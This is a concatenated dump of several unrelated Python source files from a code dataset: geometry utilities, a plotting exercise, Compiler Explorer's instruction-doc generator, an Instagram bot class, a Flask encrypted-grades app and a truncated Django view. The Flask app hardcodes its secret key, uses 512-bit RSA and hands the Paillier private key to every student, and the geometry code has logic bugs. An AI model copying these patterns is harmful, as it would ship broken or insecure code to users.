pln in self.list_la:\n pln.print()\n\n\n# 检测类\ndef IsVector(v):\n if not isinstance(v, vector):\n raise ValueError(\"not an object of class vector\")\n\n\ndef IsPoint(v):\n if not isinstance(v, point):\n raise ValueError(\"not an object of class point\")\n\n\ndef IsLine(v):\n if not isinstance(v, line):\n raise ValueError(\"not an object of class line\")\n\n\n# 折线段拐向\ndef turn_Line(v1, v2):\n IsVector(v1)\n IsVector(v2)\n value = v1.mult_x(v2)\n if value > 0:\n return \"left\"\n elif value < 0:\n return \"right\"\n elif v1.unit() == v1.unit():\n return \"collinear\"\n else:\n return \"reverse\"\n\n\n# 点是否在线上\ndef On_Line(p, l):\n IsPoint(p)\n IsLine(l)\n v0 = p.ToVector()\n v1 = l.startpoint.ToVector()\n v2 = l.endpoint.ToVector()\n value = v2.sub(v0).mult_x(v1.sub(v0))\n if value == 0:\n return True\n else:\n return False\n\n\n# 两直线段是否相交\ndef Intersect_Line(l1, l2):\n p1 = l1.startpoint\n p2 = l1.endpoint\n p3 = l2.startpoint\n p4 = l2.endpoint\n value1 = p4.ToVector(p1).mult_x(p3.ToVector(p1))\n value2 = p4.ToVector(p2).mult_x(p3.ToVector(p2))\n value3 = p2.ToVector(p3).mult_x(p1.ToVector(p3))\n value4 = p2.ToVector(p4).mult_x(p1.ToVector(p4))\n if value1 * value2 == 0 and value3 * value4 == 0:\n if On_Line(p1, l2) or On_Line(p2, l2):\n return True\n else:\n return False\n elif value1 * value2 <= 0 and value3 * value4 <= 0:\n return True\n else:\n return False\n\n\ndef Intersect_Polyline(l, pl):\n for line_i in pl.list_l:\n if Intersect_Line(l, line_i):\n return True\n return False\n\n\n# 点是否在多边形内\ndef contain_polygan(p, polygon):\n line0 = line(p, point(p.x, polygon.content()[\"ymin\"]))\n n_inter = 0\n for line_i in polygon.list_l:\n if On_Line(p, line_i):\n return False\n elif Intersect_Line(line0, line_i):\n n_inter += 1\n if n_inter // 2 == n_inter:\n return False\n else:\n return True\n\n\n# 模拟器\nclass simulation():\n def __init__(self):\n pass\n\n def point(self):\n x = random.randint(0, 100) / 10\n y = random.randint(0, 100) / 10\n return point(x, y)\n\n def vector(self):\n point1 = self.point()\n point2 = self.point()\n return point1.ToVector(point2)\n\n def line(self):\n point1 = self.point()\n point2 = self.point()\n return line(point1, point2)\n\n def polygon(self):\n line0 = self.line()\n list_p = [line0.startpoint, line0.endpoint]\n point0 = self.point()\n list_p.append(point0)\n point_i = list_p[-1]\n n = random.randint(2, 10)\n for i in range(n - 2):\n point_i = self.point()\n while Intersect_Polyline(line(list_p[-1], point_i), polyline(list_p[:-1])):\n point_i = self.point()\n list_p.append(point_i)\n while Intersect_Polyline(line(list_p[0], point_i), polyline(list_p[1:-1])):\n point_i = self.point()\n list_p[-1] = point_i\n return polygon(list_p)\n\n def polyline(self, n=None):\n line0 = self.line()\n list_p = [line0.startpoint, line0.endpoint]\n point0 = self.point()\n list_p.append(point0)\n point_i = list_p[-1]\n if n == None:\n n = random.randint(2, 5)\n for i in range(n - 2):\n point_i = self.point()\n while Intersect_Polyline(line(list_p[-1], point_i), polyline(list_p[:-1])):\n point_i = self.point()\n list_p.append(point_i)\n return polyline(list_p)\n\n\n# 折线段缓冲区\ndef buffer_polyline(pl, d):\n buffer = []\n for p in pl.list_p:\n circle_i = circle(p, d)\n buffer.append(circle_i)\n circle_i.draw()\n for l in pl.list_l:\n p = l.startpoint.plus_vector(l.vector.vert_right(d))\n w = l.vector.value()\n h = 2 * d\n a = l.vector.angle()\n rectangle_i = rectangle(p, w, h, a)\n buffer.append(rectangle_i)\n rectangle_i.draw()\n return polygon_complex(buffer)\n\n\n# 主程序(折线段拐向)\npolyline1 = simulation().polyline(2)\nvector1 = polyline1.list_l[0].vector\nvector2 = polyline1.list_l[1].vector\nturn = turn_Line(vector1, vector2)\nprint(\"此为检测1(折线段拐向)\\n随机折线段为:\")\npolyline1.print()\nprint(\"拐向为{}\".format(turn))\n\n# 主程序(点是否在线上)\npoint1 = simulation().point()\nline1 = simulation().line()\nOnlineorNot = On_Line(point1, line1)\nprint(\"此为检测2(点是否在线上)\\n随机点为:\")\npoint1.print()\nprint(\"随机线为:\")\nline1.print()\nif OnlineorNot:\n print(\"点在线上\")\nelse:\n print(\"点不在线上\")\n\n# 主程序(两直线段相交及其交点)\nline2 = simulation().line()\nline3 = simulation().line()\nIntersectorNot = Intersect_Line(line2, line3)\nprint(\"此为检测3(两直线段相交及其交点)\\n随机直线段为:\")\nline2.print()\nline3.print()\nif IntersectorNot:\n print(\"两直线段相交,且交点为:\")\n point2 = line2.point_inter(line3)\n point2.print()\nelse:\n print(\"两直线段不相交\")\n\n# 主程序(点是否在多边形内)\npoint3 = simulation().point()\npolygon1 = simulation().polygon()\nInpolygonorNot = contain_polygan(point3, polygon1)\nprint(\"此为检测4(点是否在多边形内)\\n随机点为:\")\npoint3.print()\nprint(\"随机多边形为:\")\npolygon1.print()\nif IntersectorNot:\n print(\"点在多边形内\")\nelse:\n print(\"点不在多边形内\")\n\n# 主程序(折线段的缓冲区)\nfig = plt.figure()\nax = fig.add_subplot()\nplt.xlim(-2, 12)\nplt.ylim(-2, 12)\npolyline2 = simulation().polyline()\nprint(\"此为检测5(折线段的缓冲区)\\n随机折线段为:\")\npolyline2.print()\npolyline2.draw()\nd = 1\nbuffer = buffer_polyline(polyline2, d)\nplt.show()\nprint(\"缓冲区请见图\")\n","sub_path":"sundry/topology2.0.py","file_name":"topology2.0.py","file_ext":"py","file_size_in_byte":13747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"590479790","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nx = np.arange(0., 150., 0.2)\ny1 = (-2*x)+180\ny2 = (-x+160)/2\ny3 = -x+100\ny4 = [0] * len(x)\ny5 = [0] * len(x)\n\nplt.plot([],[],color='aquamarine', label='Región Solución', linewidth=5)\nplt.plot([],[],color='m', label='Ecuación 1', linewidth=5)\nplt.plot([],[],color='r', label='Ecuación 2', linewidth=5)\nplt.plot([],[],color='g', label='Ecuación 3', linewidth=5)\nplt.plot([],[],color='orange', label='Ecuación 4', linewidth=5)\nplt.plot([],[],color='y', label='Ecuación 5', linewidth=5)\n\nplt.plot(x , y1 , 'm')\nplt.plot(x , y2 , 'r')\nplt.plot(x , y3 , 'g')\nplt.plot(x , y4 , 'orange')\nplt.plot(y5 , x , 'y')\nplt.plot(40 , 60 , color='k' , marker='o')\nplt.plot(0 , 0 , color='k' , marker='o')\nplt.plot(90 , 0 , color='k' , marker='o')\nplt.plot(80 , 20 , color='k' , marker='o')\nplt.plot(0 , 80 , color='k' , marker='o')\n\nplt.fill_between(x,y4,y3, color='aquamarine', interpolate=True)\nplt.fill_between(x,y2,y3, color='w', interpolate=True)\nplt.fill_between(x,y1,y3, color='w', interpolate=True)\n\nplt.title('Ejercicio 6')\nplt.ylabel('y')\nplt.xlabel('x')\n\nplt.text(40,60,'(40,60)',fontsize=10)\nplt.text(0,0,'(0,0)',fontsize=10)\nplt.text(90,0,'(90,0)',fontsize=10)\nplt.text(80,20,'(80,20)',fontsize=10)\nplt.text(0,80,'(0,80)',fontsize=10)\nplt.text(20,-100,'MAX P(40,60)=520',fontsize=15)\n\nplt.legend(loc='upper right')\n\nplt.show()","sub_path":"Ejercicio6.py","file_name":"Ejercicio6.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"509173654","text":"#! /usr/bin/env python3\n\n# Copyright (c) 2012-2019, Compiler Explorer Authors\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n\nimport argparse\nimport json\nimport os\nimport pprint\nimport re\nimport sys\nimport tarfile\nimport urllib\nfrom urllib import parse, request\n\ntry:\n from bs4 import BeautifulSoup\nexcept ImportError:\n raise ImportError(\n \"Please install BeautifulSoup (apt-get install python3-bs4 or pip install beautifulsoup4 should do it)\"\n )\n\nparser = argparse.ArgumentParser(\n description=\"Docenizes HTML version of the official Intel Asm PDFs\"\n)\nparser.add_argument(\n \"-i\",\n \"--inputfolder\",\n type=str,\n help=\"Folder where the input files reside as .html. Default is ./generated/asm-docs\",\n default=\"generated/asm-docs\",\n)\nparser.add_argument(\n \"-o\",\n \"--outputdir\",\n type=str,\n help=\"Output directory for the generated JSON files. Default is ./generated\",\n default=\"generated\",\n)\nparser.add_argument(\n \"-d\",\n \"--downloadfolder\",\n type=str,\n help=\"Folder where the archive will be downloaded and extracted. Default is ./generated/asm-docs\",\n default=\"generated/asm-docs\",\n)\n\n# The maximum number of paragraphs from the description to copy.\nMAX_DESC_PARAS = 25\nSTRIP_PREFIX = re.compile(\n r\"^(([0-9a-fA-F]{2}|m64|NP|(REX|E?VEX\\.)[.0-9A-Z]*|/[0-9a-z]+|[a-z]+)\\b\\s*)*\"\n)\nINSTRUCTION_RE = re.compile(r\"^([A-Z][A-Z0-9]+)\\*?(\\s+|$)\")\n# Some instructions are so broken we just take their names from the filename\nUNPARSEABLE_INSTR_NAMES = [\"PSRLW:PSRLD:PSRLQ\", \"PSLLW:PSLLD:PSLLQ\", \"MOVBE\"]\n# Some files contain instructions which cannot be parsed and which compilers are unlikely to emit\nIGNORED_FILE_NAMES = [\n \"._404\",\n \"404\",\n \"index\",\n # SGX pseudo-instructions\n \"EADD\",\n \"EACCEPT\",\n \"EAUG\",\n \"EACCEPTCOPY\",\n \"EDECVIRTCHILD\",\n \"EINCVIRTCHILD\",\n \"EINIT\",\n \"ELDB:ELDU:ELDBC:ELBUC\",\n \"EMODPE\",\n \"EMODPR\",\n \"EMODT\",\n \"ERDINFO\",\n \"ESETCONTEXT\",\n \"ETRACKC\",\n \"EBLOCK\",\n \"ECREATE\",\n \"EDBGRD\",\n \"EDBGWR\",\n \"EENTER\",\n \"EEXIT\",\n \"EEXTEND\",\n \"EGETKEY\",\n \"ELDB\",\n \"ELDU\",\n \"ENCLS\",\n \"ENCLU\",\n \"EPA\",\n \"EREMOVE\",\n \"EREPORT\",\n \"ERESUME\",\n \"ETRACK\",\n \"EWB\",\n # VMX instructions\n \"INVEPT\",\n \"INVVPID\",\n \"VMCALL\",\n \"VMCLEAR\",\n \"VMFUNC\",\n \"VMLAUNCH\",\n \"VMLAUNCH:VMRESUME\",\n \"VMPTRLD\",\n \"VMPTRST\",\n \"VMREAD\",\n \"VMRESUME\",\n \"VMWRITE\",\n \"VMXOFF\",\n \"VMXON\",\n # Other instructions\n \"INVLPG\",\n \"LAHF\",\n \"RDMSR\",\n \"SGDT\",\n # Unparsable instructions\n # These instructions should be supported in the future\n \"MONITOR\",\n \"MOVDQ2Q\",\n \"MFENCE\",\n]\n# Some instructions are defined in multiple files. We ignore a specific set of the\n# duplicates here.\nIGNORED_DUPLICATES = [\n \"MOV-1\", # move to control reg\n \"MOV-2\", # move to debug reg\n \"CMPSD\", # compare doubleword (defined in CMPS:CMPSB:CMPSW:CMPSD:CMPSQ)\n \"MOVQ\", # defined in MOVD:MOVQ\n \"MOVSD\", # defined in MOVS:MOVSB:MOVSW:MOVSD:MOVSQ\n \"VPBROADCASTB:VPBROADCASTW:VPBROADCASTD:VPBROADCASTQ\", # defined in VPBROADCAST\n \"VGATHERDPS:VGATHERDPD\",\n \"VGATHERQPS:VGATHERQPD\",\n \"VPGATHERDD:VPGATHERQD\",\n \"VPGATHERDQ:VPGATHERQQ\",\n]\n# Where to extract the asmdoc archive.\nASMDOC_DIR = \"asm-docs\"\nARCHIVE_URL = \"https://www.felixcloutier.com/x86/x86.tbz2\"\nARCHIVE_NAME = \"x86.tbz2\"\n\n\nclass Instruction(object):\n def __init__(self, name, variants, variant_descriptions, tooltip, body):\n self.name = name\n self.variants = variants\n self.variant_descriptions = variant_descriptions\n self.tooltip = tooltip.rstrip(\": ,\")\n self.body = body\n\n def __str__(self):\n return f\"Instruction<{self.name}>\"\n\n\ndef get_url_for_instruction(instr):\n return f\"https://www.felixcloutier.com/x86/{urllib.parse.quote(instr.name)}.html\"\n\n\ndef download_asm_doc_archive(downloadfolder):\n if not os.path.exists(downloadfolder):\n print(f\"Creating {downloadfolder} as download folder\")\n os.makedirs(downloadfolder)\n elif not os.path.isdir(downloadfolder):\n print(f\"Error: download folder {downloadfolder} is not a directory\")\n sys.exit(1)\n archive_name = os.path.join(downloadfolder, ARCHIVE_NAME)\n print(\"Downloading archive...\")\n urllib.request.urlretrieve(ARCHIVE_URL, archive_name)\n\n\ndef extract_asm_doc_archive(downloadfolder, inputfolder):\n print(\"Extracting file...\")\n if os.path.isdir(os.path.join(inputfolder, \"html\")):\n for root, dirs, files in os.walk(os.path.join(inputfolder, \"html\")):\n for file in files:\n if os.path.splitext(file)[1] == \".html\":\n os.remove(os.path.join(root, file))\n tar = tarfile.open(os.path.join(downloadfolder, ARCHIVE_NAME))\n tar.extractall(path=inputfolder)\n\n\ndef strip_non_instr(i):\n # removes junk from encodings where the opcode is in the middle\n # of prefix stuff. e.g.\n # 66 0f 38 30 /r PMOVZXBW xmm1, xmm2/m64\n return STRIP_PREFIX.sub(\"\", i)\n\n\ndef instr_name(i):\n match = INSTRUCTION_RE.match(strip_non_instr(i))\n if match:\n return match.group(1)\n\n\ndef get_description_paragraphs(document_soup):\n description_header_node = document_soup.find(id=\"description\")\n i = 0\n description_paragraph_node = description_header_node.next_sibling.next_sibling\n description_paragraphs = []\n while i < MAX_DESC_PARAS and len(description_paragraph_node.text) > 20:\n if description_paragraph_node.name == \"p\":\n description_paragraphs.append(description_paragraph_node)\n i = i + 1\n # Move two siblings forward. Next sibling is the line feed.\n description_paragraph_node = (\n description_paragraph_node.next_sibling.next_sibling\n )\n return description_paragraphs\n\n\ndef parse(filename, f):\n doc = BeautifulSoup(f, \"html.parser\")\n if doc.table is None:\n print(f\"{filename}: Failed to find table\")\n return None\n table = read_table(doc.table)\n variants = set()\n variant_descriptions = {}\n\n for inst in table:\n for op_key in [\n \"Opcode/Instruction\",\n \"OpcodeInstruction\",\n \"Opcode Instruction\",\n \"Opcode*/Instruction\",\n \"Opcode / Instruction\",\n \"Instruction\",\n ]:\n if op_key not in inst:\n continue\n\n variant = instr_name(inst[op_key])\n if not variant:\n continue\n\n variants.add(variant)\n variant_descriptions[variant] = inst.get(\"Description\")\n break\n\n if not variants:\n if filename in UNPARSEABLE_INSTR_NAMES:\n for name in filename.split(\":\"):\n variants.add(name)\n else:\n print(f\"{filename}: Failed to read instruction table\")\n return None\n\n description_paragraphs = get_description_paragraphs(doc)\n\n for para in description_paragraphs:\n for link in para.find_all(\"a\"):\n # this urljoin will only ensure relative urls are prefixed\n # if a url is already absolute it does nothing\n link[\"href\"] = urllib.parse.urljoin(\n \"https://www.felixcloutier.com/x86/\", link[\"href\"]\n )\n link[\"target\"] = \"_blank\"\n link[\"rel\"] = \"noreferrer noopener\"\n\n return Instruction(\n filename,\n variants,\n variant_descriptions,\n description_paragraphs[0].text.strip(),\n \"\".join(map(lambda x: str(x), description_paragraphs)).strip(),\n )\n\n\ndef read_table(table):\n # Finding all 'th' is not enough, since some headers are 'td'.\n # Instead, walk through all children of the first 'tr', filter out those\n # that are only whitespace, keep `get_text()` on the others.\n headers = list(\n map(\n lambda th: th.get_text(),\n filter(lambda th: str(th).strip(), table.tr.children),\n )\n )\n\n result = []\n if headers:\n # common case\n for row in table.find_all(\"tr\"):\n obj = {}\n for column, name in zip(row.find_all(\"td\"), headers):\n # Remove '\\n's in names that contain it.\n obj[name.replace(\"\\n\", \"\")] = column.get_text()\n if obj:\n result.append(obj)\n else:\n # Cases like BEXTR and BZHI\n rows = table.find_all(\"tr\")\n if len(rows) != 1:\n return []\n obj = {}\n for td in rows[0].find_all(\"td\"):\n header = td.p.strong.get_text()\n td.p.strong.decompose()\n obj[header] = td.get_text()\n result.append(obj)\n\n return result\n\n\ndef parse_html(directory):\n print(\"Parsing instructions...\")\n instructions = []\n for root, dirs, files in os.walk(directory):\n for file in files:\n if file.endswith(\".html\"):\n with open(os.path.join(root, file), encoding=\"utf-8\") as f2:\n name = os.path.splitext(file)[0]\n if name in IGNORED_DUPLICATES or name in IGNORED_FILE_NAMES:\n continue\n try:\n instruction = parse(name, f2)\n if not instruction:\n continue\n patch_instruction(instruction)\n instructions.append(instruction)\n except Exception as e:\n print(f\"Error parsing {name}:\\n{e}\")\n return instructions\n\n\ndef self_test(instructions, directory):\n # For each generated instruction, check that there is a path to a file in\n # the documentation.\n directory = os.path.join(directory, \"html\")\n ok = True\n for inst in instructions:\n if not os.path.isfile(os.path.join(directory, inst.name + \".html\")):\n print(f\"Warning: {inst.name} has not file associated\")\n ok = False\n return ok\n\n\ndef patch_instruction(instruction):\n if instruction.name == \"ADDSS\":\n print(\"\\nPatching ADDSS\")\n print(\n \"REMINDER: Check if https://github.com/compiler-explorer/compiler-explorer/issues/2380 is still relevant\\n\"\n )\n\n old_body = instruction.body\n old_tooltip = instruction.tooltip\n instruction.body = old_body.replace(\n \"stores the double-precision\", \"stores the single-precision\"\n )\n instruction.tooltip = old_tooltip.replace(\n \"stores the double-precision\", \"stores the single-precision\"\n )\n\n\ndef trim_str(str, max_len=255):\n return (str[:max_len] + \"...\") if len(str) > max_len else str\n\n\ndef main():\n args = parser.parse_args()\n print(f\"Called with: {args}\")\n\n # If we don't have the html folder already...\n if not os.path.isdir(os.path.join(args.inputfolder, \"html\")):\n # We don't, try with the compressed file\n if not os.path.isfile(os.path.join(args.downloadfolder, \"x86.tbz2\")):\n # We can't find that either. Download it\n try:\n download_asm_doc_archive(args.downloadfolder)\n extract_asm_doc_archive(args.downloadfolder, args.inputfolder)\n except IOError as e:\n print(\"Error when downloading archive:\")\n print(e)\n sys.exit(1)\n else:\n # We have a file already downloaded\n extract_asm_doc_archive(args.downloadfolder, args.inputfolder)\n\n instructions = parse_html(args.inputfolder)\n instructions.sort(key=lambda b: b.name)\n\n all_inst = set()\n for inst in instructions:\n if not all_inst.isdisjoint(inst.variants):\n print(\n f\"Overlap in instruction variants: {inst.variants.intersection(all_inst)} for {inst.name}\"\n )\n all_inst = all_inst.union(inst.variants)\n\n if not self_test(instructions, args.inputfolder):\n print(\"Tests do not pass. Not writing output file. Aborting.\")\n sys.exit(3)\n\n print(f\"Writing {len(instructions)} instructions\")\n\n autocomplete_path = os.path.join(args.outputdir, \"autocomplete.json\")\n with open(autocomplete_path, \"w\") as f:\n autocomplete = {}\n for inst in instructions:\n autocomplete[inst.name.upper()] = {\n \"_\": inst.name.lower(),\n \"*\": inst.tooltip,\n }\n for variant in inst.variants:\n autocomplete[variant.upper()] = {\n \"_\": inst.name.lower(),\n \"*\": inst.variant_descriptions.get(variant, trim_str(inst.tooltip)),\n }\n json.dump(autocomplete, f, separators=(\",\", \":\"))\n\n full_path = os.path.join(args.outputdir, \"full.json\")\n with open(full_path, \"w\") as f:\n full = []\n for inst in instructions:\n full.append(\n {\n \"id\": inst.name.lower(),\n \"variants\": list(inst.variants),\n \"variant_descriptions\": inst.variant_descriptions,\n \"text\": inst.body,\n \"href\": get_url_for_instruction(inst),\n }\n )\n json.dump(full, f, indent=2)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"bin/docenizer.py","file_name":"docenizer.py","file_ext":"py","file_size_in_byte":14501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"257891361","text":"import os\n\nfrom worker import Worker\n\n\nclass Application(object):\n\n USER_AGENT = ('Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36'\n ' (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36')\n\n BROWSER_SIZE = (1280, 1024)\n\n MAIN_PAGE_URL = 'https://www.instagram.com/'\n\n browser = None\n following_list = None\n following_count = None\n\n def __init__(self, arguments):\n self.config = arguments\n\n self.check_config()\n\n self.following_list = []\n self.following_count = 0\n\n def check_config(self):\n if self.config.un_follow_only:\n if not self.config.un_follow:\n raise AttributeError('Un-follow option is required.')\n\n if self.config.un_follow:\n if not os.path.exists(self.config.un_follow):\n raise AttributeError('Un-follow file was not found.')\n self.read_unfollow_list()\n\n def run(self):\n Worker.set_application(self)\n Worker.start_browser()\n Worker.start_scenarios()\n\n self.close()\n\n if not self.config.un_follow_only:\n self.save_to_csv()\n\n def close(self):\n # Close browser\n if self.browser:\n self.browser.close()\n self.browser.quit()\n self.browser = None\n\n def save_to_csv(self):\n with open('{}.csv'.format(self.config.output), 'w') as csv:\n csv.write('\\n'.join(self.following_list))\n\n def read_unfollow_list(self):\n with open(self.config.un_follow, 'r') as csv:\n self.unfollowing_list = csv.read().split('\\n')\n","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"50979603","text":"from flask import (\n Flask, render_template, request, flash,\n url_for, redirect, session, make_response\n)\nfrom werkzeug.utils import secure_filename\nimport pandas as pd\nimport rsa\nimport base64\nfrom phe import paillier\nimport json\nimport io\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'dev'\n# public_phe, private_phe = paillier.generate_paillier_keypair()\nwith open(\"keys/homo.phe\", \"r\") as f:\n js = json.load(f)\npublic_phe = paillier.PaillierPublicKey(int(js['pub']))\nprivate_phe = paillier.PaillierPrivateKey(\n public_phe, int(js['p']), int(js['q']))\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'POST':\n id = int(request.form.get('id'))\n data = pd.read_csv(\"user.csv\")\n\n if len(data.loc[data.id == id]) == 0:\n flash(\"用户不存在,请先申请安全令!\")\n return render_template('register.html')\n\n session['id'] = id\n if (data.loc[data.id == id].identity == \"Null\").any():\n return redirect(url_for('set'))\n\n return redirect(url_for('authentication'))\n\n return render_template('index.html')\n\n\n@app.route('/set', methods=['GET', 'POST'])\ndef set():\n if request.method == 'POST':\n idtt = base64.b64decode(request.form.get('psw').encode())\n data = pd.read_csv(\"user.csv\")\n\n pri_str = base64.b64decode(data.loc[data.id == int(\n session['id']), 'privateKey'].values[0].encode())\n pri = rsa.PrivateKey.load_pkcs1(pri_str)\n content = base64.b64encode(rsa.decrypt(idtt, pri)).decode()\n\n data.loc[data.id == int(session['id']), 'identity'] = content\n data.to_csv(\"user.csv\", index=False)\n flash(\"设置成功,请登录!\")\n return redirect(url_for('authentication'))\n\n return render_template('set.html')\n\n\n@app.route('/authentication', methods=['GET', 'POST'])\ndef authentication():\n if request.method == 'POST':\n try:\n idtt = base64.b64decode(request.form.get('psw').encode())\n data = pd.read_csv(\"user.csv\")\n\n pri_str = base64.b64decode(data.loc[data.id == int(\n session['id']), 'privateKey'].values[0].encode())\n pri = rsa.PrivateKey.load_pkcs1(pri_str)\n\n content = base64.b64encode(rsa.decrypt(idtt, pri)).decode()\n if (data[data.id == int(session['id'])]\n .identity == content).any():\n if (data[data.id == int(session['id'])]\n .status == \"教师\").any():\n return (redirect(url_for('upload')))\n else:\n return(redirect(url_for('download')))\n except Exception as e:\n print(\"------\", session['id'], \"------\", e)\n\n flash(\"鉴别码错误!\")\n\n return render_template('authentication.html')\n\n\n@app.route('/upload', methods=['GET', 'POST'])\ndef upload():\n if request.method == 'POST':\n course = request.form.get('course')\n credit = request.form.get('credit')\n\n f = request.files['file']\n place = \"transcripts/\"+secure_filename(f.filename)\n f.save(place)\n\n mark = pd.read_csv('mark.csv')\n if (mark.course == course).any():\n flash(\"该科成绩已有记录,请勿重复上传!\")\n return render_template('upload.html')\n\n data = pd.read_csv(place).iloc[:, 1:]\n\n # 明文加密成密文,打包成json\n def f(x):\n cipher = public_phe.encrypt(float(x))\n return json.dumps(\n {'text': str(cipher.ciphertext()),\n 'exponent': cipher.exponent})\n data['mark'] = data['mark'].map(f)\n\n # 加入课程名和学分,组合成新的表\n data['course'] = [course for i in range(len(data))]\n data['credit'] = [credit for i in range(len(data))]\n data = pd.concat([mark, data])\n\n data.to_csv(\"mark.csv\", index=False)\n flash(course+\" 成绩上传成功!\")\n\n return render_template('upload.html')\n\n\n@app.route('/download', methods=['GET', 'POST'])\ndef download():\n if request.method == 'POST':\n df = pd.read_csv('mark.csv')\n mark = df[df.id == int(session['id'])]\n\n def f(x):\n x = json.loads(x)\n return paillier.EncryptedNumber(public_phe, int(x['text']), int(x['exponent']))\n mark['mark'] = mark['mark'].map(f)\n\n grade = 0\n for i, v in mark['mark'].items():\n # print(private_phe.decrypt(mark.at[i, 'mark']))\n # print(mark.at[i, 'mark'], int(mark.at[i, 'credit']))\n grade += mark.at[i, 'mark'] * int(mark.at[i, 'credit'])\n mark.loc[len(mark)] = (\"Final Grade:\",\n grade/mark.credit.sum(),\n \",\".join(mark.course.value_counts().keys()),\n mark.credit.sum())\n\n def g(x):\n return json.dumps(\n {'text': str(x.ciphertext()),\n 'exponent': x.exponent})\n\n mark['mark'] = mark['mark'].map(g)\n\n out = io.StringIO()\n mark.to_csv(out, index=False)\n file_name = str(session['id']) + '.csv'\n response = make_response(out.getvalue())\n response.headers[\"Content-Disposition\"] = \"attachment; filename=%s\" % file_name\n response.headers[\"Content-type\"] = \"text/csv\"\n return response\n\n mark = pd.read_csv('mark.csv')\n flash('您已结算成绩的课程有:'+', '.join(mark.course.value_counts().index))\n return render_template('download.html')\n\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n if request.method == 'POST':\n id = request.form.get('id')\n name = request.form.get('name')\n status = request.form.get('status')\n data = pd.read_csv(\"user.csv\")\n\n if len(data.loc[data.id == id]) > 0:\n flash(\"你已经申请过安全令,请勿重复!\")\n return render_template('register.html')\n\n (pub, pri) = rsa.newkeys(512)\n pub = pub.save_pkcs1()\n pri = pri.save_pkcs1()\n data.loc[len(data)] = (str(id), name, status,\n \"Null\", base64.b64encode(pri).decode())\n data.to_csv(\"user.csv\", index=False)\n with open(\"./keys/\"+status+name+str(id)+\".pem\", \"wb\") as f:\n f.write(pub)\n\n if status != '教师':\n with open(\"./keys/\"+status+name+str(id)+\".phe\", \"w\") as f:\n json.dump({\"pub\": str(public_phe.n),\n \"p\": str(private_phe.p),\n \"q\": str(private_phe.q)},\n f)\n\n flash(\"成功向教务发送申请!请等待相关人员下发安全令文件。\")\n return render_template('register.html')\n\n return render_template('register.html')\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"498948699","text":"from django.http import HttpResponse, HttpResponseRedirect, HttpResponseBadRequest\nfrom django.template import loader, RequestContext\nfrom django.shortcuts import render, render_to_response\nfrom django.views.decorators.csrf import csrf_exempt\nfrom random import randint\nfrom django.views.generic import TemplateView\nfrom chartjs.views.lines import BaseLineChartView\nimport json\n\nfrom .models import Sparse\nfrom sparse_matrix.utils import *\n\n\ndef index(request,):\n template = loader.get_template('sparse_matrix/index.html')\n return HttpResponse(template.render(request))\n\n\ndef output(request, sparse_id):\n return HttpResponse(\"You're looking at processing time %s.\" % sparse_id)\n\n\n@csrf_exempt\ndef result(request):\n '''\n View to add all the tracking resources\n '''\n\n status,response = set_response_header(request=request,response=HttpResponse(content_type='application/json'))\n if not status:\n return HttpResponseBadRequest(json.dumps({\"Message\":\"Unauthorized request\"}),content_type='application/json')\n data = {'result': ''}\n save_in_db = {}\n # file_ = request.FILES.get('input_')\n\n if request.method=='POST':\n file_ = request.POST.get('input_', None)\n \n # import pdb; pdb.set_trace()\n import time\n length_matrix = len(CSM(file_))\n\n start_time1 = time.time()\n encrypt_CSM_linear(file_)\n decrypt_CSM_linear(encrypt_CSM_linear(file_))\n data['result_linear'] = str(time.time() - start_time1)\n\n start_time2 = time.time()\n encrypt_CSM_quadratic(file_)\n decrypt_CSM_quadratic(encrypt_CSM_quadratic(file_))\n data['result_quadratic'] = str(time.time() - start_time2)\n \n start_time3 = time.time()\n encrypt_CSM_cubic(file_)\n decrypt_CSM_cubic(encrypt_CSM_cubic(file_))\n data['result_cubic'] = str(time.time() - start_time3)\n\n save_in_db['processing_time_l'] = data['result_linear']\n save_in_db['processing_time_q'] = data['result_quadratic']\n save_in_db['processing_time_c'] = data['result_cubic']\n save_in_db['length'] = length_matrix\n newSparse = Sparse(**save_in_db)\n length_in_sparse = Sparse.objects.values('length')\n all_lengths = [p['length'] for p in length_in_sparse]\n 